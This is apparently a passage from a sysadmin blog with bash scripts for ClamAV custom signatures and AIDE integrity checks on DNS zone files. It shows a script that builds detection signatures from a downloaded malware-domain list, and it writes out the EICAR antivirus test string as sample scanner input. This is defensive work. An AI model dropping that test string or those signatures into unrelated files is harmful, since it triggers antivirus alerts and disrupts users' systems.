echo “<FONT COLOR=RED>Sync failed for $DB.$DIFF… still diffrence greater than $THRESHCOUNT …</FONT>” >> $RESULT
echo “<FONT COLOR=RED>IT please check ..</FONT>” >> $RESULT
else
echo “<PRE>” >> $RESULT
echo “” >> $RESULT
echo -e “\t\t\t On Master \t\t\t\t\t On Slave: $SLAVE” >> $RESULT
echo “” >> $RESULT
echo -e “\t\t\t Number of Records: $AFTSYNMASTER \t\t\t Number of Records: $AFTSYNSLAVE2” >> $RESULT
echo “<FONT COLOR=”GREEN”><b>sync completed successfully for $DIFF</b></FONT>” >> $RESULT
echo -e “\t\t\t ==========================================================================” >> $RESULT
echo “</PRE>” >> $RESULT
fi
done
done

(echo -e “From: syn-report@example.com \nTo: abc@gmail.com,xyz@example.com \nMIME-Version: 1.0 \nSubject: sync from master to slave on $HOSTNAME \nContent-Type: text/html \n”; cat $RESULT) | /usr/sbin/sendmail -t
rm -f $RESULT

ClamAV is an open source (GPL) antivirus engine designed for detecting Trojans, viruses, malware and other malicious threats.

What are we doing here? Let’s implement the below set-up,

clamscan

The main target is to have something to detect Malicious code/virus signatures/malware in an most efficient way possible without using any paid software/services.

Quickly jumping on to the implementation part,

Installation of Clamav on CentOS:

yum install clam* ( if this works then directly GoTo Set-up step)

OR

http://www.md3v.com/install-clamav-on-centos-6-0

http://datlinux.blogspot.com.au/2013/03/how-to-install-clamav-on-linux-centos.html

Set-up on Web-Server/Email Servers:

  • root@bt [~]# mkdir /root/clam-scan-project
  • root@bt [~]# vi /etc/cron.monthly/add-signatures.sh

Copy and paste the below code,

##Script starts from here##

file=/root/clam-scan-project/current.txt
if [ -f $file ];
then
wget -O /root/clam-scan-project/hosts.txt http://www.malwaredomainlist.com/hostslist/hosts.txt
cat /root/clam-scan-project/hosts.txt | col -b >> /root/clam-scan-project/host.txt
diff -I ‘^#’ /root/clam-scan-project/current.txt /root/clam-scan-project/host.txt | grep “^>” | grep -v localhost | awk ‘{ print $3 }’ >> /root/clam-scan-project/add-domains.txt
if [ -s /root/clam-scan-project/add-domains.txt ];
then
for i in $(cat /root/clam-scan-project/add-domains.txt)
do
x=$(echo $i | sigtool –hex-dump | sed ‘s/\(.*\)../\1/’)
echo “$i:0:*:$x” >> /root/clam-scan-project/signatures.ndb
done
fi
else
wget -O /root/clam-scan-project/hosts.txt http://www.malwaredomainlist.com/hostslist/hosts.txt
cat /root/clam-scan-project/hosts.txt | col -b >> /root/clam-scan-project/host.txt
for i in $(cat /root/clam-scan-project/host.txt | grep -v “^#” | awk ‘{ print $2 }’ | grep -v localhost)
do
x=$(echo $i | sigtool –hex-dump | sed ‘s/\(.*\)../\1/’)
echo “$i:0:*:$x” >> /root/clam-scan-project/signatures.ndb
done
fi
echo “<center><h1><i>Clam-Scan</i></h1></center>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<b><i>Clam-Scan Result using Default DB</i></b>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<i>Updating Clam AV database</i>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
freshclam –no-warnings >> /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<font color=”red”>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
clamscan –exclude-dir=mail -ir /home/* –log /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “</font>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
sed -n “/SCAN \SUMMARY/,/Time:/p” /root/clam-scan-project/default-db-summary.log > /root/clam-scan-project/summary.log
sed -i “/SCAN \SUMMARY/,/Time:/d” /root/clam-scan-project/default-db-summary.log
echo “<b>” >> /root/clam-scan-project/default-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/default-db-summary.log
cat /root/clam-scan-project/summary.log >> /root/clam-scan-project/default-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/default-db-summary.log
echo “</b>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/default-db-summary.log
echo “<HR ALIGN=”LEFT” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> /root/clam-scan-project/default-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
echo “<b><i>Clam-Scan Result using Custom DB</i></b>” >> /root/clam-scan-project/custom-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
echo “<font color=”red”>” >> /root/clam-scan-project/custom-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-db-summary.log
clamscan -d /root/clam-scan-project/signatures.ndb –exclude-dir tmp –exclude-dir log –exclude-dir mail–exclude-dir tmp –exclude-dir log –exclude-dir mail –exclude-dir virtfs -ir /home/* –log /root/clam-scan-project/custom-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-db-summary.log
echo “</font>” >> /root/clam-scan-project/custom-db-summary.log
echo “<br>” >> /root/clam-scan-project/custom-db-summary.log
sed -n “/SCAN \SUMMARY/,/Time:/p” /root/clam-scan-project/custom-db-summary.log > /root/clam-scan-project/summary.log
sed -i “/SCAN \SUMMARY/,/Time:/d” /root/clam-scan-project/custom-db-summary.log
echo “<b>” >> /root/clam-scan-project/custom-db-summary.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-db-summary.log
cat /root/clam-scan-project/summary.log >> /root/clam-scan-project/custom-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-db-summary.log
echo “</b>” >> /root/clam-scan-project/custom-db-summary.log
if [ -d /root/clam-scan-project/customsig.ndb ];
then
echo “<br>” >> /root/clam-scan-project/custom-sig.log
echo “<b><i>Clam-Scan Result using signature server DB</i></b>” >> /root/clam-scan-project/custom-sig.log
echo “<br>” >> /root/clam-scan-project/custom-sig.log
echo “<font color=”red”>” >> /root/clam-scan-project/custom-sig.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-sig.log
clamscan -d /root/clam-scan-project/customsig.ndb –exclude-dir tmp –exclude-dir log –exclude-dir mail–exclude-dir tmp –exclude-dir log –exclude-dir mail –exclude-dir virtfs -ir /home/* –log /root/clam-scan-project/custom-db-summary.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-sig.log
echo “</font>” >> /root/clam-scan-project/custom-sig.log
echo “<br>” >> /root/clam-scan-project/custom-sig.log
sed -n “/SCAN \SUMMARY/,/Time:/p” /root/clam-scan-project/custom-sig.log > /root/clam-scan-project/summary.log
sed -i “/SCAN \SUMMARY/,/Time:/d” /root/clam-scan-project/custom-sig.log
echo “<b>” >> /root/clam-scan-project/custom-sig.log
echo ‘<pre>’ >> /root/clam-scan-project/custom-sig.log
cat /root/clam-scan-project/summary.log >> /root/clam-scan-project/custom-sig.log
echo ‘</pre>’ >> /root/clam-scan-project/custom-sig.log
echo “</b>” >> /root/clam-scan-project/custom-sig.log
cat /root/clam-scan-project/default-db-summary.log /root/clam-scan-project/custom-db-summary.log /root/clam-scan-project/custom-sig.log >> /root/clam-scan-project/clam-scan-result.log
else
cat /root/clam-scan-project/default-db-summary.log /root/clam-scan-project/custom-db-summary.log >> /root/clam-scan-project/clam-scan-result.log
fi
rm -f /root/clam-scan-project/current.txt
mv /root/clam-scan-project/host.txt /root/clam-scan-project/current.txt
rm -f /root/clam-scan-project/hosts.txt
(echo -e “From: clam-scan@domain.com \nTo: mailid@domain.com \nCc:emailid@domain.com,emailid@domain.com \nMIME-Version: 1.0 \nSubject: Clam-Scan on $HOSTNAME \nContent-Type: text/html \n”; cat /root/clam-scan-project/clam-scan-result.log) | sendmail -t
rm -f /root/clam-scan-project/default-db-summary.log
rm -f /root/clam-scan-project/custom-db-summary.log
rm -f /root/clam-scan-project/clam-scan-result.log
rm -f /root/clam-scan-project/summary.log
mv -f /root/clam-scan-project/add-domains.txt /root/

##Script Ends here##

  • Once you run the script you’ll see two files inside /root/clam-scan-project

root@bt [~/clam-scan-project]# ls
./ ../ current.txt signatures.ndb
root@bt [~/clam-scan-project]#

Set-up on main signature server:

  • [root@bt ~]# vi signature_creation.sh

##Script starts here##

i=$1
touch /root/customsig.ndb

if [ -s /root/add-by-users.txt ];
then

for files in $(cat /root/add-by-users.txt)
do
x=$(echo “$files” | sigtool –hex-dump | sed ‘s/\(.*\)../\1/’)
y=$(echo “$files” | head -c 2048)
echo “$y:0:*:$x” >> /root/customsig.ndb
done
else
echo “No arguments supplied”
exit
fi

##script Ends here##

[root@bt~]# cat add-by-users.txt
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Trojan.exe\4fiveVirus
[root@bt ~]#

  • The above script will add something like below in custom.ndb,

[root@bt ~]# cat customsig.ndb

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*:0:*:58354f2150254041505b345c505a58353428505e2937434329377d2445494341522d5354414e444152442d414e544956495255532d544553542d46494c452124482b482a
Trojan.exe\4fiveVirus:0:*:54726f6a616e2e6578655c34666976655669727573

[root@bt ~]#

Execution of Script:

[root@bt ~]# clamscan -d /root/customsig.ndb eicar.txt
eicar.txt: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*.UNOFFICIAL FOUND

———– SCAN SUMMARY ———–
Known viruses: 2
Engine version: 0.97.8
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 0.005 sec (0 m 0 s)

  • copy the customsig.ndb from signature server to webserver

Location on Web-Servers: /root/clam-scan-project/

Report from Web-Servers:

report1

report2

Cheers!!!!

Advanced Intrusion Detection Environment

What is AIDE?

AIDE (Advanced Intrusion Detection Environment) is a file and directory integrity checker.

It is a host-based intrusion detection system (HIDS) for checking the integrity of files. It does this by creating a baseline database of files on an initial run, and then checks this database against the system on subsequent runs. File properties that can be checked against include inode, permissions, modification time, file contents, etc.

Scenario: Detect changes in Zone files in such a way that it should report changes with the difference between old record and new record.

Step by Step Installation:

1. Install Mhash

Mhash is a free (under GNU Lesser GPL) library which provides a uniform interface to a large number of hash algorithms. These algorithms can be used to compute checksums, message digests, and other signatures.

  • wget http://sourceforge.net/projects/mhash/files/mhash/0.9.9/mhash-0.9.9.tar.gz
  • tar -xzvf mhash-0.9.9.tar.gz
  • cd mhash-0.9.9.9/
  • ./configure

If error occurs like “configure error: you don’t have zlib properly installed” then,

  • ./configure –without-zlib
  • make && make install

2. Install AIDE

3. Run rsync command for the Initial setup

  • mkdir /home/dnsbackup
  • rsync /var/named/* /home/dnsbackup/

4. copy below conf file and replace it with file under root/aide-0.15/doc/aide.conf

Note: Before that, cp /root/aide-0.15/doc/aide.conf  /root/ ….(Backup) 🙂

#
# AIDE 0.15
#
# example configuration file
#
# IMPORTANT NOTE!! PLEASE READ
#
# This configuration file checks the integrity of the
# AIDE package.
#
# This file is not intended to be used as the primary aide.conf file for
# your system. This file is intended to be a showcase for different
# features for aide.conf file.
#
# WRITE YOUR OWN CONFIGURATION FILE AND UNDERSTAND WHAT YOU ARE WRITING
#
#
# Default values for the parameters are in comments before the
# corresponding line.
#

@@define TOPDIR /root/aide-0.15
@@define LOGDIR /var/log/aide

@@ifndef TOPDIR
@@define TOPDIR /
@@endif

@@ifdef DEBUG
@@define DEBUG ison
@@undef NOT_DEBUG
@@else
@@define NOT_DEBUG true
@@undef DEBUG
@@endif

@@ifhost korppi
@@define KORPPI yes
@@endif

@@ifnhost ftp
@@define BUMMER true
@@endif

# The location of the database to be read.
#database=file:aide.db
database=file:/home/aide/aide.db

# The location of the database to be written.
#database_out=sql:host:port:database:login_name:passwd:table
#database_out=file:aide.db.new
database_out=file:@@{TOPDIR}/doc/aide.db.new

# Whether to gzip the output to database
#gzip_dbout=yes

#verbose=5
verbose=20

report_url=stdout
#other possibilities
#report_url=stderr
#NOT IMPLEMENTED report_url=mailto:root@foo.com
#report_url=file:/tmp/aide.txt
#report_url=file:@@{LOGDIR}/aide.log
#report_url=syslog:LOG_AUTH
#report_url=stdout

# @@{TOPDIR} is replaced with /root/aide-0.15 when
# read by aide.
#p: permissions
#ftype: file type
#i: inode
#n: number of links
#l: link name
#u: user
#g: group
#s: size
#b: block count
#m: mtime
#a: atime
#c: ctime
#S: check for growing size
#I: ignore changed filename
#md5: md5 checksum
#sha1: sha1 checksum
#sha256: sha256 checksum
#sha512: sha512 checksum
#rmd160: rmd160 checksum
#tiger: tiger checksum
#haval: haval checksum
#crc32: crc32 checksum
#R: p+ftype+i+l+n+u+g+s+m+c+md5
#L: p+ftype+i+l+n+u+g
#E: Empty group
#>: Growing logfile p+ftype+l+u+g+i+n+S
#The following are available if you have mhash support enabled:
#gost: gost checksum
#whirlpool: whirlpool checksum
#The following are available and added to the default groups R, L and >
#only when explicitly enabled using configure:
#acl: access control list
#selinux SELinux security context
#xattrs: extended file attributes
#e2fsattrs: file attributes on a second extended file system

# Rule definition
All=R+a+sha1+rmd160+sha256+sha512+tiger+whirlpool

#Let Logfile grow

#LOG = >

# report_attributes is a special rule definition
# the attributes listed in it are alway displayed for changed files
# in the final report
report_attributes = u+g

# ignore_list is a special rule definition
# the attributes listed in it are not displayed in the
# final report, it overrules report_attributes where they conflict
#ignore_list = b

# Attributes that can be used to verify that aide in intact
# by people that have downloaded it from the web.
# Let’s be paranoid
Norm=l+s+n+b+u+g+a+m+c+ftype

# The commented rules are just examples the rest are used by
# make check

#AIDE check on following folders

/var/named Norm
!/var/named/data
!/var/named/chroot
!/var/named/slaves

#Selection regexp rule
@@{TOPDIR}/.* Norm
#Equals selection only the directory doc is checked and not it’s children
#=@@{TOPDIR}/doc L
#Negative selection no rule is necessary but ignored if there
!@@{TOPDIR}/.*~
!@@{TOPDIR}/src/.*\.o
!@@{TOPDIR}/src/(aide|core)$ L
!@@{TOPDIR}/.*RCS
!@@{TOPDIR}/.*CVS
!@@{TOPDIR}/.*aide\.db.*
!@@{TOPDIR}/.*\.cvsignore.*
# @@{TOPDIR}/doc/.* All

  • mkdir /home/aide
  • chown nobody:nobody /home/aide
  • /usr/local/bin/aide -c /root/aide-0.15/doc/aide.conf –init
  • echo yes | cp /root/aide-0.15/doc/aide.db.new /home/aide/aide.db
  • Check the permission of /home/aide/aide.db should be root:root, if not, use command:- chown root:root /home/aide/aide.db
  • Create file /root/aide_html.sh and copy below content in it.

 

Script:

##Starts Here##

#!/bin/bash
#echo “<body bgcolor=”#6D7B8D”>” >> /tmp/aide.log
echo “<h2><center><i>AIDE Report on changes done</i></center></h2>” >> /tmp/aide.log
echo “<HR ALIGN=”CENTER” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> /tmp/aide.log
echo “<br>” >> /tmp/aide.log
echo “<pre>” >> /tmp/aide.log
/usr/local/bin/aide -c /root/aide-0.15/doc/aide.conf –check >> /tmp/aide.log
echo “</pre>” >> /tmp/aide.log
echo “</body>” >> /tmp/aide.log
sleep 10
grep -wi “All files match AIDE database” /tmp/aide.log
if [ $? -eq 1 ]
then
cat /tmp/aide.log | mail -s “$(echo -e “AIDE Changes under /var/named/ on $HOSTNAME\nContent-Type: text/html”)” youremailaddress@domain.com — -f AIDE@domain.com
grep ‘File’ /tmp/aide.log | awk ‘{ print $2 }’ | awk -F ‘/’ ‘{ print $4 }’ > /tmp/grep.txt
if [ -s /tmp/grep.txt ]
then
#echo “<body bgcolor=”#6D7B8D”>” >> /tmp/domains.txt
echo “<h2><center><i>Detailed AIDE Report</i></center></h2>” >> /tmp/domains.txt
echo “<HR ALIGN=”CENTER” SIZE=”3″ WIDTH=”70%” NOSHADE>” >> /tmp/domains.txt
for i in $(cat /tmp/grep.txt)
do
echo “<br>” >> /tmp/domains.txt
echo “<i><b>AIDE Report for $i</b></i>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “<pre>” >> /tmp/domains.txt
sed -n “/File: \/var\/named\/$i/,/Ctime/p” /tmp/aide.log >> /tmp/domains.txt
echo “</pre>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “<b><i><center>Difference found for $i under /var/named/</center></i></b>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
minus=$(diff -u –expand-tabs –ignore-all-space –ignore-blank-lines –ignore-space-change /home/dnsbackup/$i /var/named/$i | grep “^-” | grep -iv “cPanel” | grep -iv “serial number”)
plus=$(diff -u –expand-tabs –ignore-all-space –ignore-blank-lines –ignore-space-change /home/dnsbackup/$i /var/named/$i | grep “^+” |grep -v “cPanel” | grep -iv “serial number”)
echo “<TABLE BORDER=7 ALIGN=”center” CELLPADDING=”8″>” >> /tmp/domains.txt
echo “<caption>$i</caption>” >> /tmp/domains.txt
echo “<TR>” >> /tmp/domains.txt
echo “<TH WIDTH=”20%”>Before</TH>” >> /tmp/domains.txt
echo “<TH WIDTH=”20%”>After</TH>” >> /tmp/domains.txt
echo “</TR>” >> /tmp/domains.txt
echo “<TR>” >> /tmp/domains.txt
echo “<TD ALIGN=”char”><PRE>$minus</PRE></TD>” >> /tmp/domains.txt
echo “<TD ALIGN=”char”><PRE>$plus</PRE></TD>” >> /tmp/domains.txt
echo “</TR>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “</table>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
echo “<b><i><center>Difference ends for $i</center></i></b>” >> /tmp/domains.txt
echo “<br>” >> /tmp/domains.txt
done


(echo -e “From: aideReport@domain.com \nTo: youremailaddress@domain.com \nCc:youremailaddress@domain.com \nMIME-Version: 1.0 \nSubject: AIDE Report for $HOSTNAME \nContent-Type: text/html \n”; cat /tmp/domains.txt) | sendmail -t
fi
fi
rm -f /tmp/domains.txt
rm -f /tmp/aide.log
/usr/local/bin/aide -c /root/aide-0.15/doc/aide.conf –update
echo yes | cp /root/aide-0.15/doc/aide.db.new /home/aide/aide.db
rsync /var/named/* /home/dnsbackup

##Script Ends here##

Results:

aide

 

 

Cheers!!!!